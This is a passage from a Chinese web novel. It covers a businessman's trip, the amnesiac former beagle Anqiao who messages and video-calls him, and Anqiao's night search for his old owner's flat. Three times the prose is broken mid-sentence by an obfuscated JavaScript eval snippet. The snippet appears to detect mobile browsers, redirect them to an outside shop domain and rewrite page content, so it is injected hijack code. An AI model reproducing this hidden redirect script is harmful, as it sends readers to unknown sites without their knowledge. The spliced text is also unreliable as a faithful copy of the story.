99+信息 凌晨四点钟,裴觉的手机闹钟就响了,提醒他起床准备去机场赶飞机了,他甚至不记得自己是什么时候睡觉的,因为醒着的时候,耳边是安桥的叫声,清晰悠长,梦里也是安桥的叫声,乃至于醒来还是他的叫声。 裴觉从来没有一刻像现在这样特别讨厌那个润喉片。 “你要去哪?” 安桥就坐在门边,因为无论他怎么挠门,里面的裴觉都不肯开门,安桥就明白自己需要转变一下策略了,没有他打不开的门。 但是不等他实施,裴觉就已经收拾好提着行李箱准备走了,安桥跟在他身后,见裴觉不搭理自己,轻轻歪了歪脑袋,抓住了对方的行李箱,问道:“你要去哪?” “出差。”裴觉说道:“你在家里好好呆着,哪里也别去,别忘了我们之间是牵过约定的。” 不知道是不是安桥的错觉,他觉得裴觉好像对他冷漠了一点。 他当然不会理解,这是裴觉想了一晚上想到的策略,他自我反思了很久,认为会造成安桥现在这幅肆无忌惮的样子,最大的问题就是因为裴觉因为愧疚而不断地迁就安桥,这才造成了如今这个局面。 所以裴觉不准备再惯着了,他不信自己还收拾不好一个安桥。 许特助的车准时开到了别墅门口,安桥看到许特助立刻眼眸弯弯地笑了起来,许特助下车接过了裴觉的行李箱,道:“裴总,都安排好了。” 随后他又和安桥打了个招呼,道:“小安,怎么你也起的这么早?” “他一晚没睡。”裴觉疲惫道:“上车吧,时间快到了。” 许特助欲言又止,有些同情地看着站在门口的安桥,对方穿着睡衣,光脚踩在地上的,有些警惕的目光一直紧盯着裴觉,似乎是在想着对方到底要干什么去。 但是当许特助看向他的时候,安桥下意识轻轻歪了歪脑袋,眼睛里有着一点迷茫,他上前两步问道:“那你还回来吗?什么时候回来?会还要我吗?你还养我的吗?” 他就这样踩着地面,扒拉着车框,试图自己也挤进车里,可惜车子已经自动落锁了,但是因为他这样扒拉着,许特助也不敢开车,裴觉将安桥的手强行掰开之后,看了眼时间,道:“我会回来,大概三天,说养你就会养你,但是你必须老老实实在家里,任何人要带你离开,都不可以走。” “不然那个三千万你就得还我,或者坐牢。”裴觉补充威胁道。 “三千万……”这个词唤醒了安桥的记忆,裴觉趁此机会将车窗拉上去,然后让许特助直接开车离开,安桥在后面就这样呆愣愣地看着车子离开,直到车尾灯消失在了视线里。 许特助从后视镜里看到了安桥站在原地,眼神茫然地盯着车子,看起来是有几分难过的,于是小心翼翼道:“裴总,小安好像快要哭了。” “……”这次裴觉不会相信安桥拙劣的演技。 “裴总,其实小安过得很苦,又什么都不记得了,所以对这个世界也是很害怕的,但是我看他非常相信您,您说带他走,他就什么都不问,直接跟您走了。”许特助一边开车一边说道:“而且……裴总,您有想过如果后来您对他厌烦了,要怎么处理他吗?” 其实许特助还挺不看好裴觉和安桥的,虽然他不知道为什么裴觉要包养安桥,而且还是养在这栋别墅里,但是他知道,现在的裴觉已经对安桥不耐烦了。 “那是他自己的事情。”裴觉靠在车上,他看着外面,天光微亮,远处的山头依稀可见。 “可是他这样什么都不记得的人,如果就这样丢到了社会上,恐怕连生存都生存不下去,没有工作,没有钱,也没有家人。”许特助叹气道:“到时候,他怎么办?完全没有社会生存能力了……” 其实平时许特助也不是多话的人,只是安桥看起来实在是太乖了,他像是什么都不懂,只会单纯地相信着依赖着别人,这种眼神任凭谁都无法抗拒。 听着许特助的话,裴觉收回了看风景的眼神,斜睨了对方一眼,心里想着等你养了几天,你就知道他是什么德行了。 许特助见裴觉没有吭声,便也不再提这件事情。 实际上许特助说的事情,裴觉不是没想过,他和安桥的合同是三年的,最多三年他就能稳住自己想要的地位,到时候安桥是谁,身份会不会曝光都不会影响到裴觉了,真到了那个时候,他就没必要和安桥还有其它的接触。 可是那个时候,如果安桥还像是现在这样,恐怕别说是步入社会,就算是养活自己恐怕都困难,毕竟不是谁都会忍着他这么折腾的。 而且最重要的是,裴觉想到母亲,安桥才是母亲的亲生儿子,裴觉总不能真的坐视不理,真的在三年后就把安桥扔出去自生自灭了。 车子停在了航站楼前,裴觉径自下车,他拿着行李箱对着准备跟过来的许特助说道:“再给你多加一个任务。” “什么?”许特助愣了一下。 “看好安桥,别让老二过来带走他,还有……”裴觉顿了顿说道:“去物色一下老师,教教他认字。” “他不认字吗?”这一下许特助是真的愣住了,他万万没想到安桥居然连认字都忘了。 “嗯,他文盲。”裴觉摆了摆手,说道:“在集团里给我盯紧了老二,既然裴董把他叫回来了,放在我们眼皮子底下也好,翻不出什么风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513117|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浪。” “好的,裴总。”许特助非常专业地应下。 上了飞机之后,在飞机尚未起飞之前,裴觉还打开了手机app,通过监控看看安桥在干什么,发现安桥在门口就这么一直坐着,安安静静的。 “……”裴觉冷笑一声,低声喃喃道:“我看你能装到什么时候,也让许青庄看看你到底什么德行。” 他的这位特助一直觉得安桥可怜,那就趁着出差的这三天,让对方体会一下他平日里到底过着怎样的日子。 而此刻坐在门口的安桥总觉得这种感觉有些熟悉,就像是以前主人跟他说要出差,平时每次过几天就回来,可是后来,后来就不回来了,每次都是他去找,每次他都找得很辛苦,幸好,每一次都找到了。 想到这里,安桥的眼睛微微半弯,里面盛满了笑意。 “跑不掉的。”安桥抱着自己的双膝,乖巧地坐在门槛上,慢吞吞地自言自语道:“我会找到你的。” 于是许特助开车带着早餐来的时候,就看到安桥这幅孤寂的模样,顿时心软了,想着自家老板的话,更觉得眼前的这个青年实在是可怜。 “裴觉?!”安桥看到车子,还以为是裴觉回来了,立刻冲起来就要去看,谁知道起的太快,腿坐了好几个小时有些发麻了,直接摔在了地上。 许特助连忙急刹,然后下车将人扶起来,问道:“小安?你没事吧?” “裴觉?”安桥的眼神落在车上,寻找着裴觉的身影,这模样在许特助眼里简直就是称得上“情根深种”了,他同情地看着安桥,道:“裴总去出差了,没有回来,你自己怎么样?有没有磕着哪里?” 安桥摇了摇头,对他而言,这点疼压根儿不算事儿,只是他对许特助不太熟悉,有些警惕地看着对方,然后慢吞吞地退回到了别墅里,又坐在沙发上抱着腿,开始等待。 有外人在这里,安桥还是很警惕的,看起来无比乖巧。 已经和安桥见过无数次,并且给安桥买手机,教他用手机,但依旧被定位成“外人”的许特助此刻还不明白自己的身份。 他看着安桥坐在沙发上一直抱着手机,瘦弱的身影在这一栋空荡荡的别墅里显得尤为孤独,特别是这个客厅除了一个沙发,已经完全空了,像是被谁抄了家似的。 而此刻刚刚飞机落地的裴觉,一打开手机,手机就跳出了无数信息,他仔细一看—— 99+信息,发件人全部都是安桥。 裴觉,你还没回来吗? 裴觉,你还没回来吗? 裴觉,你还没回来吗…… 裴觉感觉自己都快不认识这八个字了。 12.视频来电 “小安,裴总应该还没下飞机,等他下飞机了肯定就会回复你信息的。”许特助洗了水果放在安桥的面前,对方穿着睡衣靠在沙发上,始终抱着手机不肯动弹,执着的样子让许特助有些无奈。 “wer?”安桥短促地疑惑道。 他轻轻歪着脑袋看向许特助,有的只是对许特助这句话的困惑,因为在他看来,裴觉为什么没回他的消息并不重要,重要的是裴觉居然没有回复他的消息! 实际上裴觉已经下飞机了,但是却也没准备立刻回复安桥,他按照原定计划忙碌了一天,任由手机信息几乎快要被打爆了,依旧坚持不回信息。 “裴总,是有什么要紧事吗?我看您依旧看了三遍手机了。”旁边的人笑着问道。 “一些私事。”裴觉面色平静,丝毫没把这件事情放在心上。 他想,让许特助去照顾安桥三天,绝对是非常正确的选择,等三天回去,看看许特助是否能说出“小安很乖”这种昧着良心的话了。 然而裴觉忘了一个非常关键的问题,那就是文盲的安桥,只会打字—— 裴觉,你还没回来吗? 因为许特助只教了他这一句话而已,但是这也不能怪许特助,因为许特助也没想到安桥能持续不断地发信息。 半山别墅坐落的位置比较隐蔽,算是私密性极高的顶级别墅区,安桥待在这里对他而言是最安全的。 裴觉的房间在三楼,自从上次安桥在房间里折腾了一遍之后,每次裴觉出门都会把房门紧锁,甚至于睡觉也得锁着门睡觉,他无法限制安桥,只好限制一下自己,好歹给自己在这个别墅里留下了一片小小的私人空间。 至少现在的安桥还不会开锁,但是裴觉忘了还有一个词,叫做“暴力拆卸”。 其实以往裴觉也是白天上班,晚上回来,白天的安桥也是很无聊的,于是就会到处拆家,寻找裴觉,最喜欢的就是待在裴觉的衣柜里,房间里,这里有很多裴觉的气息,是一种让安桥很喜欢的味道。 他揉了揉自己的鼻子,对自己嗅觉下降了许多非常不理解,觉的还是以前当狗的时候好,一点点味道都逃不出他的嗅觉范围。 衣柜里摆放着的衣服,按照平时上班的,休闲的,以及在家的分门别类的放好了,房间里衣帽间中间还有一个岛台,里面摆放着手表和一些豪车钥匙,有的配备了专属的摇表器。 不过这个岛台时上了密码锁的,安桥好奇地打量着,远在千里之外的裴觉尚且不知道自己的千万级别的收藏品距离危险只差一步,得亏旁边的领带吸引了安桥的注意力。 这个领带和安桥以前用过的牵引绳有些像,他凑过去嗅闻了一下,然后选了一个自己最喜欢的咬着,安安静静躺平在了裴觉的床上。 “werwerwer——”安桥叹了口气,将脑袋埋在了裴觉的枕头下面。 裴觉是晚上十点结束工作的,回到酒店的时候已经是十一点了,他喝了点酒,进门后就把外套脱下来随意丢在了旁边的沙发上。 他打开手机,回复了一下这边下属的消息之后,就去浴室洗了洗脸,试图让自己清醒一点,不知道是不是他的错觉,总感觉似乎外面有挠门的声音,声音和平时晚上睡前安桥挠门的声音高度相似,裴觉的脸色微微一凛,他直接走向门口,贴近了门却没有声音了,一切仿佛是他的错觉。 他站在门口站了一会儿,感觉应该是自己喝多了,所以听错了,于是转身继续朝着浴室走去,打开水龙头的时候感觉外面的挠门声又有了,他关掉水龙头继续听,声音停了下来,那一瞬间,裴觉感觉寒毛都竖立起来了。 他丢掉了衣服,径自打开了淋浴,准备随便冲洗一下就睡觉,明天一早还有别的事情安排,然而当浴室门合上之后,淋浴的水冲洗下来,他瞬间感觉神清气爽,整个人似乎都被安抚到了。 没有人骚扰他,没有乱七八糟的声音,他感觉整个人获得了从所未有的宁静,在这座酒店里,找到了属于自己的私人空间了。 然而很快,他就听到了外面传来声音—— “裴觉!werwerwer——” “werwerwer——” “werwerwer————” 裴觉:…… 他猛地一把推开了浴室的门,房间里什么都没有,只有浴室镜里身上带着沐浴泡沫,头发湿漉漉的,狼狈不堪的他。 “我肯定是喝多了。”裴觉头疼地揉了揉自己的眉心,转身快速冲洗了一下,然后裹着浴袍,直接去床上躺着休息。 手机的信息依旧不断,裴觉本来都已经昏昏欲睡了,耳边依稀听道了“werwerwer——“的声音,他忽然猛地惊醒了,下意识环顾四周,总是怀疑自己听到了安桥那既有穿透力的叫声。 自从把安桥带回去,这还是第一次丢下安桥自己出远门,也不知道是怎么回事,裴觉总觉得内心有些不安,他将这一切归于自己是担心计划败露所以担忧。 “肯定是我想多了。”裴觉靠在床上,将自己的计划捋了一遍,确定没有任何问题,只要这三年里安桥不要忽然出尔反尔,自己跑了,那一切都在计划之中,不过对于那个疯子,裴觉觉的还是放在眼皮子底下比较安全,省得惹出一些不必要的麻烦。 耳边偶尔会传出几声挠门声和“werwerwer——”的声音,他尽量忽略过去,翻看自己带来的合同,直到不知道什么时候累得睡了过去。 梦里,裴觉一睡醒就听到耳边传来了“werwerwer”的声音,他睁眼就看到了安桥,看到了酒店房间仿佛废墟,被拆成了毛坯房,那一瞬间裴觉心里依旧开始估算自己要赔付多少钱了。 他看着安桥露出了笑容,蹲坐在他的床上,恶劣的性格展现的淋漓尽致,但是很快他就拿出了那两张亲子鉴定,摇晃着道:“裴觉,你看,我才是裴家的儿子,你的位置都是我的,你的一切都应该是我的,你输了,你全盘皆输!werwerwer——” 然后裴觉就惊醒了,他浑身冷汗涔涔,耳边既没有“werwerwer”的声音,也没有安桥,整个房间只有他一个人,一切都是正常的,他颇为头疼地扶着脑袋,深吸了一口气。 他打开手机,看了眼时间,发现才早上四点半,窗外还是黑的,他继续躺回了床上,却怎么也睡不着了。 他将安桥的信息反复琢磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安桥摸了摸自己的手机,他小声道:“视频。” 听到这话,许特助一愣,没想到安桥不记得写字认字了,但是居然还知道手机能够视频,他笑了起来,道:“小安是记起了什么吗?知道手机能视频呢?” “以前和家里人,会视频。”安桥垂眸抱着手机,道:“我想他们的时候,会视频。” 他刚刚睡醒,头发显得有些乱七八糟,头发的边角都翘起来了,整个人看起来乖顺得有些过分。 “我想看看他。”安桥抬起头去看许特助,跟在许特助身后道:“我想他了,我想看看他。” 许特助还得着急上班,想着之前裴觉也说要教会安桥一些安身立命的东西,那这些生活必备的技巧更是要教会了。 于是三个小时前还在庆幸安桥只会发信息,不会打视频的裴觉,在三个小时后,接到了安桥的视频电话。 “werwerwer——”的声音伴随着一张乖巧漂亮的脸出现在了裴觉的手机里。 他微微一笑,感觉到私人空间,又消失掉了一部分了。 13.以前的家 “裴觉,你在哪里啊?” “裴觉,你什么时候回来?我喜欢你的床,也喜欢你的被子,还有你的衣柜。” “裴觉,你是躲着我吗?可是你想去哪里呢?” …… 安桥轻轻歪着脑袋,他长得一副人畜无害的样子,目光透过屏幕看向裴觉的时候,无端地让裴觉有一种心虚的感觉。 他忽然凑近了屏幕,凑得很近了,以至于眼睛的睫毛都清晰可见,裴觉下意识微微侧脸,旁边的人见着笑问道:“裴总觉得这个项目进展的怎么样?” “很不错,罗总辛苦了。”裴觉将手机倒扣,十分客气地说道。 他的音量键已经关闭,安桥用手扒拉了一下屏幕,发现都是黑色的,并不能看到裴觉了,他再次轻轻歪着脑袋,将手机翻来覆去的看,挂断之后又继续打,对方这次却没有接通,然而安桥的耐心很足,他可以不间断地去拨打裴觉的视频电话,十分严肃的表情仿佛是在做什么大事。 这对于安桥而言就是大事了,裴觉居然想跑,难道不是天大的事情吗?! 等了足足一个小时,裴觉终于再次接通了安桥的来电,他已经做到了对方要发疯的准备了,但是谁知道打开之后,就看到安桥还是之前那副疑惑的表情看着自己,也不知道他维持这样的动作多长时间了,这一个小时内,他到底在想些什么。 想到这里,裴觉下意识心软了一下,他看了眼刚刚结束的剪彩仪式,然后走到角落里,语调平静道:“傻了?怎么不动了?” “刚刚我找不到你。”安桥老实地蹲坐在了裴觉的床上,阳光透过落地玻璃照在他的侧脸,显得整个人轮廓柔和了许多,他倒是很放松,喃喃道:“你这样做很不好。” 裴觉沉默了一下,他有时候会觉得安桥是个很单纯的人,脑子里不会思索一些太复杂的东西,无非就是喜欢拆家,喜欢乱叫,但是这又怎么样呢,就像是医生说的,他还在恢复期,等他恢复好了就正常了。 比如现在,他就对这样乖巧的安桥没辙了。 “裴觉。”安桥忽然凑到了手机屏幕上,他抬起手,却不小心把手机碰掉下来了,发出了“砰”的一声,吓了他一跳。 “安桥?”裴觉听到声音,又见屏幕黑了,眉头微微一皱,他拿着手机侧靠着墙壁,问道:“安桥?你怎么了?摔着了吗?” “没……没有。”安桥的脸重新出现在了视野里,他摇头示意自己没事,但是很快目光就落在了裴觉的身上,不,应该说是落在了裴觉的身后,安桥的眼睛忽然睁大,他似乎是有些惊讶于自己所看到的东西。 “裴觉,你在哪里?”安桥看向了裴觉,道:“我要去找你。” 他甚至不是询问,而是非常肯定地说自己一定要去找裴觉,安桥说这话的时候,眼神依旧紧盯着裴觉的身后,仿佛那是对他很重要的东西。 裴觉应付道:“我过两天就回去了,好了安桥,不要闹,老老实实在别墅里待着。” 这边的负责人走了过来,裴觉没有继续和安桥对话,直接挂断之后就去忙了,负责人试探着问道:“裴总,是公司那边有什么要紧的事情吗?” “没事。”裴觉说道。 别墅里的安桥看着再次陷入了黑暗的手机,他尝试拨打几次电话,然而裴觉没有接听之后,他就放弃了,转而从床上爬下去,径自去了自己的房间里。 他的房间倒是很干净,比裴觉乱七八糟的房间好多了,因为这几天他都是在裴觉的房间折腾,小小的行李箱摆放在旁边,里面的东西都是裴觉亲自收拾的,安桥就这样提着自己的行李箱往外走,里面放着他最珍贵的碗。 别墅位置处于半山腰,平时是没人过来的,下山道都没有车子,安桥就像是不知道疲惫一样,一路下山往外走,如果裴觉在这里就会非常惊讶于安桥竟然认路。 “主人。”安桥认出来裴觉身后的那个背景,分明就是他以前的家,以前他和主人一家都住在这里的,安桥一定要去找自己的主人。 他踩着拖鞋,提着行李箱,穿着睡衣,朝着山下走去,一副昂首挺胸又十分谨慎的样子让人诧异,也有别墅区其他人开车经过,不过他谁都不理,一个劲地往下走,像是个有点神经病的犟种。 别墅大门处,一辆黄色的跑车停在这里,驾驶座的人看着别墅区入口处,他好说歹说都不让他进去,裴二准备用点其它办法了。 “我哥住在里面,我找我哥。”裴二说道:“你们打开放行一下。” “抱歉,我们没有接到业主的邀约通知,不能为您开放通行。”负责安保的人摇头道:“不然您打电话联系一下业主。” 裴二冷笑了一声,他要是能打电话给裴觉,就不至于偷偷摸摸来到这里了。 就在裴二准备翻看手机,寻找一下看看有没有住在这个别墅区的狐朋狗友,帮他开一下大门,结果还没来得及打电话,就看到了一个穿着睡衣的青年拖着行李箱走下来了。 对方看起来有些显眼,肤色白皙,透着一股子不健康的苍白,主要是身上的睡衣瞧着实在是有些不对劲,更别提还穿着拖鞋的,怎么看都像是被扫地出门的样子。 “等……等会……”裴二忽然想起了什么,他立刻打开了手机,查看了一下私家侦探发过来的照片,发现照片上的人和眼前这个人高度相似,裴二忍不住乐了,没想到绞尽脑汁都没法进入这个别墅区,裴觉把这个小情人藏的太严实了,现在这人居然这么狼狈地自己走下来了。 他推开了车门,刚准备进去找安桥的时候,一辆熟悉的车从他的旁边路过,而后别墅的安保人员打开了栏杆,放他通行,那辆车停在了穿着睡衣的人身边,拉下车窗似乎是说了什么,而后就让安桥上车,直接离开了。 “不是,他又不是业主,他凭什么也能进去?”裴二怒道。 “这位许先生是业主打电话提前告知的。”安保人员非常警惕地看着裴二,他道:“如果您要进去,可以先联系业主,我们立刻为您放行。” 最后裴二怒气冲冲地踩着油门离开了,他恶狠狠地看着后视镜,冷笑道:“藏在这里,挺好啊。” 他想到了安桥的那副模样,想着这么多年从没见过裴觉对谁这么上心了,要是把他这个心上人抢走了,指不定就能看到裴觉痛哭流涕的样子了。 裴二觉得自己的计划简直好极了。 而此刻的安桥丝毫不知道自己已经被人盯上了,他坐在车里,搂着自己的行李箱,道:“我要去同安市。” 他记得之前自己是住在同安市的,也记得主人的家庭住址,只是这话落在许特助耳中就是其它意思了,毕竟裴觉现在也在同安市。 “小安,如果你想出去,你得跟我或者裴总说,你不能自己不管不顾就跑出去了,假如丢了怎么办?”许特助心有余悸,得亏他来得早,他可是认出了外面停着的那辆车就是裴二的。 裴觉在去同安市的时候,千叮咛万嘱咐,说千万要看好安桥,绝不能让他落入裴二的手中。 “我要去同安市。”安桥低着头,将行李箱搂得更紧了,他坚定道:“我必须去。” “唉。”许特助也不知道脑补了一些什么,长长地叹了口气。 远在千里之外的裴觉总觉得今天右眼皮在跳,他微微皱眉,怀疑是自己 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“你看,已经给裴总打过电话了。”许特助看着安桥,对方正满脸期待地看着自己,许特助有一种助人为乐后的道德满足感,他笑着道:“裴总说现在就送你过去,他在同安市接你。” 安桥的眼睛很亮,他点头,道:“好,谢谢你。” 许特助再次确定安桥真的是个不谙世事的人,想想裴觉将人困在这里,还让对方莫名其妙背上了三千万的债务,欠下了不平等条约,许特助有一种助纣为虐的心虚感,让他对待安桥更加包容了。 裴觉忙完之后回到酒店时,安桥已经在酒店里等着了,许特助将他一切都安顿好了,又陪着他等待裴觉回来,等将人交到了裴觉手里,这才放心地回江州市,继续替裴觉盯着公司里的动向。 “这是你的房间,你不要再搞破坏,也不要乱叫,不然会有人报警抓你的,我也没办法。”裴觉连哄带骗,冷着脸教育安桥,道:“说说吧,为什么偷跑?我记得我们之间是签约过的,你不能擅自离开那栋别墅,安桥。” “wer?”安桥再次轻轻地发出了疑问。 “遇到不想回答的问题就装傻?”裴觉一眼就看穿了安桥这就是在装,他忍不住冷笑了一声,也不知道从什么时候开始,安桥居然也开始有心眼了。 裴觉的房间和安桥的房间是相邻的,到了八点之后,裴觉其实就开始担心安桥会到处胡闹,会一直叫唤,但是让他松了口气的是安桥并没有太过折腾,裴觉这才松了口气,感觉累了一天,身上都有些疲惫了。 他洗了个澡,洗澡的时候就感觉似乎是听到了外面有挠门声,但是这个酒店隔音很好,声音不大,裴觉关掉淋浴之后发现外面又没声音了,他感觉应该是自己幻听了,他躺在床上准备睡觉的时候,忽然想起来自己忘了什么—— 他忘了安桥现在也在这个酒店里,而且还在他的隔壁! 他几乎是立刻起身,掀开被子就往外走,安桥的房卡一共两张,许特助给了裴觉一张,于是裴觉直接用房卡打开了安桥的房门,却发现里面整整齐齐的,甚至连被子都没有动过,但是整个房间都没有安桥的身影,浴室没有,床底下没有,阳台也没有, 然后他就发现,就连安桥的小行李箱都不见了,裴觉的脸色顿时阴沉了下来。 “装傻耍我?”他深吸了一口气,打开了手机定位系统。 他给安桥的手机上安装了定位,本来只是怕安桥走丢了,没想到竟然能用在这个时候。 但是他很快就发现,安桥目的很明确地朝着一处移动,最后停在了他工地旁边的小区里。 裴觉顾不得别的,立刻拿了外套,就开车追了过去。 14.你摔了? 晚上十点半,同安市没有夜生活,到了九点多就开始收摊子了,十点半路上除了苦命的遛狗人只剩下几辆车跑过去了。 安桥就这样拖着自己的行李箱到处溜达,试图根据记忆寻找自己的家,他的记忆里很好,并且有很丰厚的找家经历,所以这种难度对于他而言,并不算什么。 “嘟嘟——” 有车子从他的身边开过,安桥下意识看了眼,然后继续坚定地提着行李箱往前走,直到走到了一个熟悉的路口,安桥的眼睛骤然一亮! 他应该是又要找到自己的主人了! 安桥的动作瞬间快了起来,连续走了一个多小时的他出现在静源小区的大门口时,已经是晚上十二点了,门口保安亭熟悉的灯光让他感觉到非常的亲切,仿佛下一秒自己的主人就会从小区里狂奔出来,十分欣喜地抱着他。 他自信满满地挺着胸膛,迈出了自信的步伐,行李箱的小滚轮在地上咔嚓咔嚓地响着,安桥左右看了眼,精准地找到了自己以前的家,并且飞快地朝着自家的方向小跑前进。 “爸爸,那个人要干什么去啊?”一个小孩牵着一只小狗在遛弯,他爸顶着两个黑眼圈,瞅了眼自己面前的比格犬,精神恍惚道:“不知道啊。” 比格犬左边嗅闻一下,右边标记一下,然后回过头看了眼低精力的父子二人,非常不满地仰起头喊道:“werwerwer——” 小孩扯出了一个笑容,疲惫问道:“爸爸,我们什么时候回去睡觉啊?” “我不知道……”孩子爸爸茫然地笑了声,道:“我也不知道啊……” “werwerwer——”比格犬继续维持着超高精力在小区里到处遛弯,这点运动量,还没到它的一半。 安桥站在熟悉的单元楼面前,他仰起头看着这个地方,一切都是他熟悉的样子,虽然细节有些细微不同,但是不必在意,因为他很快就会看到自己的主人了。 他想他不在的这段时间里,主人一家一定也是非常难熬的,一定也很想他。 他提着自己的小行李箱,艰难爬到了六楼,站在了大门口,有些困惑地看着大门口的对联,轻轻歪了歪脑袋,如果他记得没错的话,这个对联应该被他撕咬得只剩下一半了。 因为更上面的部分,他身高有限,咬不到了,不过他现在非常满意地看了眼自己的身体,完美地弥补了他不能拆高处的缺陷。 现在这个家,可以说是三百六十度全方位无死角都在他的可拆范围内,并且安桥非常想念家里的阳台,每当它无聊的时候就会对着阳台开始“werwerwer——”,展现属于比格的独特魅力。 没有人不为他折服,他的魅力,无人可以抵抗! werwerwer—— 门口的烫金色对联显得十分喜庆,安桥抬起手拍了拍门,喊道:“开门!我回家了!开门!” 这是他的家,他的地方,现在他回来了! 但是依旧没有什么响动,安桥再次轻轻歪着脑袋,他继续抬起手拍门,道:“开门!开门!我是安桥!开门!我回来了!开门!开门!开门!我是安桥!开门!werwerwer——” 以往主人不开门,他就开始叫唤了,果然这次也很好用,他非常发达的听力瞬间启动,能听到里面传来了急促的脚步声,安桥站在门口等着这扇门打开。 然后他就听到里面喊道:“谁啊?大半夜的砸门!神经病吗?!” “我是安桥,开门!”安桥喊道。 里面那人显然是被吵醒的,有些怒了,道:“我管你什么桥,我不认识你,你再砸门我就报警了!” 这一招对人有用,但是对狗就不一定了,安桥坚定地认为这就是他的家,他试图继续敲门,然而就在他抬起手的时候,却被一人抓住了手腕,安桥下意识转过头看向身边,不知道裴觉是什么时候来的,他直接一手攥住了安桥的手腕,拧起眉头低声斥责道:“别胡闹了,这是别人的家。” “这是我家。”安桥委屈道:“我的家,难道我还能不认识吗?这是我家。” “你……”裴觉看着安桥,对方眼神坚定,以至于裴觉都有些自我怀疑了,他转过头看向了这个门,再次问道:“你确定是你家吗?” “真的是我家,我知道的。”安桥就差发誓了,他道:“我家!” “什么你家!什么你家啊!这是我家,我有房产证的,这什么神经病啊!”里面的人都无语了,道:“大半夜的你们想要干什么?我跟你说啊,我报警了,警察很快就到了,你们别走!” 原本裴觉以为对方只是想要让他们走,没想到对方是真的报警了,面对警察,安桥显然有些疑惑,他一向面对陌生人都显得比较乖顺,这一点裴觉已经领教过了。 当初他还是“陌生人”的时候,安桥也曾经对他很乖顺的,只是……不提了。 “警察同志,你看啊,这是我的房产证,我根本不认识他!”业主指着安桥和裴觉说道。 安桥在看到业主的时候就愣住了,这不是他的主人,他下意识抬起头去看了眼这个房子,确定是自己以前的家,怎么可能呢。 裴觉见安桥不吭声,将人拉到了自己的身后,然后面对警察说道:“这是我弟弟,他之前发生过意外,才昏迷醒来,医生说精神状态有些异常,很抱歉今天打扰各位了。” 安桥最后是被裴觉拉走的,他坚持不肯走,但是裴觉绑架了他的行李箱,主要是里面还有他的碗,最后安桥就被拖走了,上车的时候,裴觉怒气冲冲地将车门锁上,给人佩戴好安全带,怒道:“你大半夜的不睡觉,你跑到这里来干什么?” 安桥还是扒拉车窗看向外面,他闻言扭头对着裴觉道:“那是我家。” “人家有房产证的,怎么可能是你家。”裴觉根本不相信安桥的话了,他启动车子,道:“你老老实实给我待着,再大半夜往外跑,丢了我可就不找你了!” “是我家。”安桥有些沮丧起来,他确定自己没认错的,可是为什么主人不在这里,难道是主人又走了吗,他就这样轻轻发出了“werwerwer~”的声音,这次可以往理直气壮的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523079|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一样,听得有些哀怨婉转。 裴觉正在开车,他叹了口气,道:“你这是要送走谁啊。” “werwerwer——” “werwerwerwer——” “werwerwerwerwer——”…… 安桥从一开始的哀怨,已经到了非常不解地叫唤,直到后来满是情绪,没有半点技巧,裴觉已经有些麻木了,他听着耳边的叫声,甚至有时候安桥还试图趴在他的耳边叫唤,得亏安全带束缚住了他。 裴觉感觉下车的时候,耳边还是这个werwer的叫声,他感觉自己可能是真的需要做一下心理评估了,这个精神伤害实在是太大了。 “是我家,真是我家!”安桥被带下车的时候,拽着自己的行李箱,继续坚持自己的观点。 “好,我明天就让人查一下。”裴觉叹气道:“现在已经一点多了,我们先回去睡觉好吗?” 他半搂着安桥,强行将人带去了房间,本来是准备把人丢在安桥自己的房间,但是想到对方可能像是刚才一样半夜溜走,只好打电话给酒店前台,问道:“有没有双人间,给我开一个房间。” “很抱歉先生,目前已经满房了。”酒店前台非常有礼貌地说道,依稀能从听筒里听到对面传来了“werwerwer——”的声音,她依旧很有专业素养地问道:“您好先生,我看您这是酒店客房的座机,请问您是否携带宠物了?” “没有。”裴觉头疼道:“没有携带宠物,没有房间就算了。” 他挂断了电话,看了眼还在叫嚷着的安桥,只好认命般将人提溜到了自己的房间。 “自己去洗澡。”裴觉都被折腾出了一身的汗,他看了眼安桥,将人丢到浴室,毫无怜惜道:“今晚你睡在这里,不准叫了,明天早上我还得去工地,你……你跟着我一起去。” “wer?”安桥茫然不解。 “去洗澡,不然……”裴觉的话音刚落,就看到安桥非常不按照常理地脱下了衣服,裴觉刚要说话,目光就落在了对方受伤的膝盖上,安桥似乎是在哪里摔着了,膝盖处淤青很明显,裴觉的语调一变,道:“你这是怎么回事?” “你那天坐车走了。”安桥老老实实道:“我想追你,但是你太快了,我就摔了,我在家门口的台阶上等了你很久,很久,特别久……” 原本已经有些不耐烦的裴觉顿时微微一僵,他看着眼前正老老实实脱衣服去洗澡的安桥,对方摔得应该是有点厉害,现在才发现走路时一瘸一拐的,裴觉看他准备□□了,顿时将浴室门直接关上。 他坐在了阳台上看着夜空的景色,轻轻叹了口气。 “本来就是我欠他的。”裴觉低声喃喃道:“算了,他也没什么错。” 